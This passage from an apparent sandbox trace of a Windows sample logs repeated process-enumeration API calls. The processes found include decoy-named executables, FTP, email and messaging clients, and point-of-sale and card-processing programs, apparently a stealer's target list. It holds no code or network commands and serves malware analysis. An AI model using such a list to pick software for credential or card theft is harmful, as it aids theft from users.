cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0268.842] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0268.845] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0268.848] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0268.850] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0268.852] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0268.854] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0268.856] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0268.859] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0268.861] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0268.863] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0268.866] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0268.869] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0268.872] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0268.874] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0268.877] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0268.881] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0268.883] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0268.886] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0268.889] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0268.892] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0268.895] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0268.897] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0268.899] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0268.901] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0268.904] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0268.906] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0268.909] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0268.911] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0268.913] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0268.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0268.917] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0268.919] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0268.921] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0268.923] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0268.925] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0268.927] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0268.960] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0268.964] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0268.966] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0268.969] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0268.971] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0268.973] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0268.977] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0268.980] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0268.983] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0268.986] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0268.989] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0268.991] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0268.994] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0268.997] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0269.000] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0269.005] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0269.010] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0269.012] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0269.014] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0269.015] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0269.018] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0269.020] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.021] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0269.023] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.025] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0269.028] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0269.030] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0269.032] CloseHandle (hObject=0x2200) returned 1 [0269.032] Sleep (dwMilliseconds=0x64) [0269.048] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0269.062] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.064] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.065] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.067] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.069] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.071] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.072] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.074] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.076] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.077] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.079] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.083] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.085] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.117] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.119] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.123] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.124] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.126] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.128] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.129] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.131] Process32Next 